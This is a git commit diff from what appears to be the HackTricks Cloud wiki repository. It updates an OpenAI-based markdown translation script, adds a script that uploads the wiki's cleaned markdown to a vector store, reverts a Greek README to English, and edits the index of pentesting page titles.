print(f" Files processed: {files_processed}")
print(f" Files with different refs: {files_with_differences}")
print(f" Files modified: {files_modified}")
print(f" Non existing files: {unexisted_files}")
if unmatched_files:
print(f" Unmatched files: {len(unmatched_files)}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,38 @@
#!/usr/bin/env python3
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def main():
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
refs = extract_refs(content)
refs_per_path[rel] = refs # keep order from findall
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
if __name__ == "__main__":
main()

View File

@@ -12,15 +12,25 @@ from tqdm import tqdm #pip3 install tqdm
import traceback
MASTER_BRANCH = "master"
VERBOSE = True
MAX_TOKENS = 10000 #gpt-4-1106-preview
MAX_TOKENS = 50000 #gpt-4-1106-preview
DISALLOWED_SPECIAL = "<|endoftext|>"
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
def _sanitize(text: str) -> str:
"""
Replace the reserved tiktoken token with a harmless placeholder.
Called everywhere a string can flow into tiktoken.encode() or the
OpenAI client.
"""
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
def reportTokens(prompt, model):
encoding = tiktoken.encoding_for_model(model)
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
prompt = _sanitize(prompt)
return len(encoding.encode(prompt))
@@ -36,29 +46,23 @@ def get_branch_files(branch):
files = result.stdout.decode().splitlines()
return set(files)
def delete_unique_files(branch):
def get_unused_files(branch):
"""Delete files that are unique to branch2."""
# Get the files in each branch
files_branch1 = get_branch_files(MASTER_BRANCH)
files_branch2 = get_branch_files(branch)
files_branch_master = get_branch_files(MASTER_BRANCH)
files_branch_lang = get_branch_files(branch)
# Find the files that are in branch2 but not in branch1
unique_files = files_branch2 - files_branch1
unique_files = files_branch_lang - files_branch_master
if unique_files:
# Switch to the second branch
subprocess.run(["git", "checkout", branch])
# Delete the unique files from the second branch
for file in unique_files:
subprocess.run(["git", "rm", file])
subprocess.run(["git", "checkout", MASTER_BRANCH])
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
return unique_files
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
"""
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
Also remove all the files that are not in the master branch.
"""
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
# If branch doesn't exist, create it
if branch_exists.returncode != 0:
@@ -66,6 +70,14 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
else:
subprocess.run(['git', 'checkout', branch])
# Get files to delete
files_to_delete = get_unused_files(branch)
# Delete files
for file in files_to_delete:
os.remove(file)
print(f"[+] Deleted {file}")
# Walk through source directory
for dirpath, dirnames, filenames in os.walk(temp_folder):
# Compute destination path
@@ -79,32 +91,72 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
for file_name in filenames:
src_file = os.path.join(dirpath, file_name)
shutil.copy2(src_file, dest_path)
print(f"Translated files copied to branch: {branch}")
if not "/images/" in src_file and not "/theme/" in src_file:
print(f"[+] Copied from {src_file} to {file_name}")
if translate_files:
subprocess.run(['git', 'add', "-A"])
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
subprocess.run(['git', 'checkout', MASTER_BRANCH])
print("Commit created and moved to master branch")
commit_and_push(translate_files, branch)
else:
print("No commiting anything, leaving in language branch")
def commit_and_push(translate_files, branch):
# Define the commands we want to run
commands = [
['git', 'add', '-A'],
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
['git', 'push', '--set-upstream', 'origin', branch],
]
for cmd in commands:
result = subprocess.run(cmd, capture_output=True, text=True)
# Print stdout and stderr (if any)
if result.stdout:
print(f"STDOUT for {cmd}:\n{result.stdout}")
if "nothing to commit" in result.stdout.lower():
print("Nothing to commit, leaving")
exit(0)
if result.stderr:
print(f"STDERR for {cmd}:\n{result.stderr}")
# Check for errors
if result.returncode != 0:
raise RuntimeError(
f"Command `{cmd}` failed with exit code {result.returncode}"
)
print("Commit created and pushed")
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
if not text:
return text
messages = [
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
- Don't translate or modify tags, links, refs and paths like in:
- {{#tabs}}
- {{#tab name="Method1"}}
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
- {{#include ./banners/hacktricks-training.md}}
- {{#ref}}macos-tcc-bypasses/{{#endref}}
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
- Don't translate any other tag, just return markdown and html content as is.
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
{"role": "user", "content": text},
]
try:
response = client.chat.completions.create(
model=model,
messages=messages,
temperature=0
temperature=1 # 1 because gpt-5 doesn't support other
)
except Exception as e:
print("Python Exception: " + str(e))
@@ -149,6 +201,9 @@ def translate_text(language, text, file_path, model, cont=0, slpitted=False, cli
return translate_text(language, text, file_path, model, cont, False, client)
response_message = response.choices[0].message.content.strip()
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
response_message = response_message.replace("Bypassy", "Bypasses")
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
cont2 = 0
@@ -170,9 +225,11 @@ def split_text(text, model):
chunks = []
chunk = ''
in_code_block = False
in_ref = False
for line in lines:
# If we are in a code block, just add the code to the chunk
# Keep code blocks as one chunk
if line.startswith('```'):
# If we are in a code block, finish it with the "```"
@@ -189,7 +246,23 @@ def split_text(text, model):
continue
"""
Prevent refs using `` like:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}}
"""
if line.startswith('{{#ref}}'):
in_ref = True
if in_ref:
line = line.replace("`", "")
if line.startswith('{{#endref}}'):
in_ref = False
# If new section, see if we should be splitting the text
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
@@ -202,23 +275,30 @@ def split_text(text, model):
return chunks
def copy_gitbook_dir(source_path, dest_path):
folder_name = ".gitbook/"
def copy_dirs(source_path, dest_path, folder_names):
for folder_name in folder_names:
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the .gitbook folder
# Copy the theme folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
def copy_summary(source_path, dest_path):
file_name = "src/SUMMARY.md"
source_filepath = os.path.join(source_path, file_name)
dest_filepath = os.path.join(dest_path, file_name)
def move_files_to_push(source_path, dest_path, relative_file_paths):
for file_path in relative_file_paths:
source_filepath = os.path.join(source_path, file_path)
dest_filepath = os.path.join(dest_path, file_path)
if not os.path.exists(source_filepath):
print(f"Error: {source_filepath} does not exist.")
else:
shutil.copy2(source_filepath, dest_filepath)
print("[+] Copied SUMMARY.md")
print(f"[+] Copied {file_path}")
def copy_files(source_path, dest_path):
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
move_files_to_push(source_path, dest_path, file_names)
def translate_file(language, file_path, file_dest_path, model, client):
global VERBOSE
@@ -234,7 +314,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
translated_content = ''
start_time = time.time()
for chunk in content_chunks:
# Don't trasnlate code blocks
# Don't translate code blocks
if chunk.startswith('```'):
translated_content += chunk + '\n'
else:
@@ -248,9 +328,10 @@ def translate_file(language, file_path, file_dest_path, model, client):
f.write(translated_content)
#if VERBOSE:
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
"""
def translate_directory(language, source_path, dest_path, model, num_threads, client):
all_markdown_files = []
for subdir, dirs, files in os.walk(source_path):
@@ -280,17 +361,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
tb = traceback.format_exc()
print(f'Translation generated an exception: {exc}')
print("Traceback:", tb)
"""
if __name__ == "__main__":
print("- Version 1.1.1")
print("- Version 2.0.0")
# Set up argparse
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
@@ -345,7 +426,7 @@ if __name__ == "__main__":
translate_files = None # Need to initialize it here to avoid error
if args.file_paths:
# Translate only the indicated file
translate_files = [f for f in args.file_paths.split(' , ') if f]
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
for file_path in translate_files:
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
@@ -360,22 +441,20 @@ if __name__ == "__main__":
except Exception as exc:
print(f'Translation generated an exception: {exc}')
# Delete possibly removed files from the master branch
delete_unique_files(branch)
elif args.directory:
#elif args.directory:
# Translate everything
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
else:
print("You need to indicate either a directory or a list of files to translate.")
exit(1)
exit(0)
# Copy summary
copy_summary(source_folder, dest_folder)
# Copy Summary
copy_files(source_folder, dest_folder)
# Copy .gitbook folder
copy_gitbook_dir(source_folder, dest_folder)
folder_names = ["theme/", "src/images/"]
copy_dirs(source_folder, dest_folder, folder_names)
# Create the branch and copy the translated files
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)

297
scripts/upload_ht_to_ai.py Normal file
View File

@@ -0,0 +1,297 @@
import os
import requests
import zipfile
import tempfile
import time
import glob
import re
from openai import OpenAI
# Initialize OpenAI client
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
# Vector Store ID
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
# --------------------------------------------------
# Step 1: Download and Extract Markdown Files
# --------------------------------------------------
def download_zip(url, save_path):
print(f"Downloading zip from: {url}")
response = requests.get(url)
response.raise_for_status() # Ensure the download succeeded
with open(save_path, "wb") as f:
f.write(response.content)
print(f"Downloaded zip from: {url}")
def extract_markdown_files(zip_path, extract_dir):
print(f"Extracting zip: {zip_path} to {extract_dir}")
with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.extractall(extract_dir)
# Recursively find all .md files
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
return md_files
# Repository URLs
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
# Temporary directory for downloads and extraction
temp_dir = tempfile.mkdtemp()
try:
# Download zip archives
print("Downloading Hacktricks repositories...")
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
download_zip(hacktricks_url, hacktricks_zip)
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
# Extract the markdown files
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
print(f"Found {len(all_md_files)} markdown files.")
finally:
# Optional cleanup of temporary files after processing
# shutil.rmtree(temp_dir)
pass
# --------------------------------------------------
# Step 2: Remove All Existing Files in the Vector Store
# --------------------------------------------------
# List current files in the vector store and delete each one.
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
for file_obj in existing_files:
# Delete the underlying file object; this removes it from the vector store.
try:
client.files.delete(file_id=file_obj.id)
print(f"Deleted file: {file_obj.id}")
time.sleep(1) # Give it a moment to ensure the deletion is processed
except Exception as e:
# Handle potential errors during deletion
print(f"Error deleting file {file_obj.id}: {e}")
# ----------------------------------------------------
# Step 3: Clean markdown Files
# ----------------------------------------------------
# Clean markdown files and marge them so it's easier to
# uplaod to the vector store.
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
break
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"### Start file: {file_name} ###\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
# Specify the starting folder and output file
start_folder = os.getcwd()
# Keywords to exclude from lines
exclude_keywords = [
"hacktricks-training.md",
"![](<", # Skip lines with images
"/images/" # Skip lines with images
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
ht_file = os.path.join(tempfile.gettempdir(), "hacktricks.md")
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
print(f"Merged content has been saved to: {ht_file}")
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
print(f"Merged content has been saved to: {htc_file}")
# ----------------------------------------------------
# Step 4: Upload All Markdown Files to the Vector Store
# ----------------------------------------------------
# Upload two files to the vector store.
# Uploading .md hacktricks files individually can be slow,
# so thats why we merged it before into just 2 files.
file_streams = []
ht_stream = open(ht_file, "rb")
file_streams.append(ht_stream)
htc_stream = open(htc_file, "rb")
file_streams.append(htc_stream)
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
time.sleep(60) # Sleep for a minute to ensure the upload is processed
ht_stream.close()
htc_stream.close()
""""This was to upload each .md independently, wich turned out to be a nightmare
# Ensure we don't exceed the maximum number of file streams
for file_path in all_md_files:
# Check if we have reached the maximum number of streams
if len(file_streams) >= 300:
print("Reached maximum number of file streams (300). Uploading current batch...")
# Upload the current batch before adding more files
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
# Clear the list for the next batch
file_streams = []
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
try:
stream = open(file_path, "rb")
file_streams.append(stream)
except Exception as e:
print(f"Error opening {file_path}: {e}")
if file_streams:
# Upload files and poll for completion
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
else:
print("No markdown files to upload.")"
# Close all file streams
for stream in file_streams:
stream.close()
"""

1
searchindex.js Normal file

File diff suppressed because one or more lines are too long

View File

@@ -4,9 +4,10 @@
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Τα λογότυπα και η κινούμενη εικόνα του Hacktricks σχεδιάστηκαν από_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
### Run HackTricks Cloud Locally
### Τρέξτε το HackTricks Cloud τοπικά
```bash
# Download latest version of hacktricks cloud
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
@@ -33,28 +34,30 @@ export LANG="master" # Leave master for English
# Run the docker container indicating the path to the hacktricks-cloud folder
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
Το τοπικό σας αντίγραφο του HackTricks Cloud θα είναι **διαθέσιμο στο [http://localhost:3377](http://localhost:3377)** μέσα σε ένα λεπτό.
### **Pentesting CI/CD Μεθοδολογία**
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
**Στη HackTricks CI/CD Μεθοδολογία θα βρείτε πώς να pentest την υποδομή που σχετίζεται με δραστηριότητες CI/CD.** Διαβάστε την παρακάτω σελίδα για μια **εισαγωγή:**
### **Pentesting CI/CD Methodology**
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Μεθοδολογία
### Pentesting Cloud Methodology
**Στην HackTricks Cloud Μεθοδολογία θα βρείτε πώς να pentest περιβάλλοντα cloud.** Διαβάστε την παρακάτω σελίδα για μια **εισαγωγή:**
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### Άδεια & Αποποίηση
### License & Disclaimer
**Ελέγξτε τα στο:**
**Check them in:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github Στατιστικά
### Github Stats
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

View File

@@ -9,7 +9,6 @@
# 🏭 Pentesting CI/CD
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
- [Github Security](pentesting-ci-cd/github-security/README.md)
@@ -42,7 +41,6 @@
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
- [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
- [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
- [Cloudflare Workers Pass Through Proxy Ip Rotation](pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md)
- [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
- [Okta Security](pentesting-ci-cd/okta-security/README.md)
- [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
@@ -57,7 +55,6 @@
# ⛈️ Pentesting Cloud
- [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
- [Luks2 Header Malleability Null Cipher Abuse](pentesting-cloud/confidential-computing/luks2-header-malleability-null-cipher-abuse.md)
- [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
- [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
- [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
@@ -87,7 +84,6 @@
- [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
- [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
- [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
- [GCP - Bigtable Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-bigtable-post-exploitation.md)
- [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
- [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
- [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
@@ -102,6 +98,7 @@
- [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
- [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
- [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
- [Gcp Vertex Ai Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md)
- [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
- [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
- [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
@@ -110,7 +107,6 @@
- [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
- [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
- [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
- [GCP - Bigtable Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigtable-privesc.md)
- [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
- [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
@@ -125,7 +121,6 @@
- [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
- [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
- [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
- [GCP - Firebase Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md)
- [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
- [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
- [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
@@ -134,7 +129,6 @@
- [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
- [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
- [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
- [GCP - Vertex AI Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md)
- [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
- [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
- [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
@@ -144,7 +138,6 @@
- [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
